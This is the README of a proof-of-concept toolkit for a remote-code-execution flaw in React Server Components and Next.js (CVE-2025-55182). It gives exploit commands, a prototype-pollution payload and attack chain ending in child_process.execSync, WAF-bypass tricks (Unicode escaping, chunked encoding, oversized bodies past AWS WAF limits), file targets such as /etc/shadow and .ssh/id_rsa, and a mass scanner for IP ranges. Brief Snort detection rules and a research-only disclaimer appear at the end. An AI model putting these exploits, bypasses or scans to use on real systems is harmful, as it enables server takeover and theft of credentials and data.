
CVE-2025-55182-POC
React Server Components (RSC) 不安全反序列化漏洞利用与检测工具集合
docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rcvulnerable-app/ - 存在漏洞的 Server Action 代码exploit_advanced.py - 支持多种攻击技术(Basic/Advanced/Chunked/Oversize)rsc_vulnerability_checker_multi.py - 多目标漏洞诊断工具rules_priority_based - 基于 Snort 优先级的检测规则集cd vulnerable-app
docker-compose up -d
# 确认 http://localhost:3000 可访问
# 测试单个 URL
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
# 批量扫描多个 URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# 扫描 IP 范围
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
# 从文件读取
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv
# 基本攻击
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# 高级攻击(原型链 + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced
# WAF 绕过 - Unicode 编码
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# WAF 绕过 - 分块传输编码
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked
# WAF 绕过 - 超大负载(AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536
# 依次尝试所有技术
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v
# 捕获攻击流量
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump
# 使用 Snort 分析
snort -c snort.conf -r attack.pcap -A console -k none
直接发送 RSC Flight 负载
# 直接调用 Server Action
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>
["$@1",["$","$L2",null,{...}]]
利用原型污染实现 RCE
// 核心原理
{
"then": "$1:__proto__:then", // 触发 Chunk.prototype.then
"_response": { // 注入伪造 response
"_formData": {...},
"_prefix": ""
},
"$1:constructor:constructor": Function // 访问 Function 构造函数
}
攻击链:
__proto__ 污染设置 Chunk.prototype.then_response 对象控制 FormData$B 处理器调用 response._formData.get(id)constructor:constructor 链访问 Functionprocess.mainModule.require('child_process').execSync(cmd)利用 Transfer-Encoding 分散模式
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked
10
["$@1",["$","
15
$L2",null,{"then
...
绕过 AWS WAF 大小限制
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: 仅检查前 8KB
# 将实际攻击代码放在 8KB 之后
process.mainModule.require + child_process + execSync__proto__ + resolved_model + RCE 模块/etc/passwd, /etc/shadow, .ssh/id_rsarequests 库
pip install requests
# 单个 URL
python3 rsc_vulnerability_checker_multi.py http://target.com
# 多个 URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP 范围扫描 (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000
# IP 范围扫描 (连字符)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50
# 文件输入/输出
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv
# Verbose 模式
python3 rsc_vulnerability_checker_multi.py http://target.com -v
[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout
--basic: 直接发送 RSC Flight 负载--advanced: 原型链 + thenable 技术--chunked: Transfer-Encoding 分块传输--oversize <size>: 超大负载(默认: 65536 bytes)--all: 依次尝试所有技术--waf-bypass: Unicode 编码(constructor → \u0063onstructor)--chunked: 分散模式放置--oversize: 绕过 AWS WAF 大小限制-v, --verbose: 详细输出-t, --timeout: 请求超时(默认: 10秒)experimental 功能rules_priority_based)__proto__ 关键词process.mainModule.require 模式# Snort 实时监控
snort -c snort.conf -i eth0 -A console
# 日志文件分析
snort -c snort.conf -r network.pcap -A fast
本内容仅用于研究/教育/诊断验证目的,请勿用于其他用途。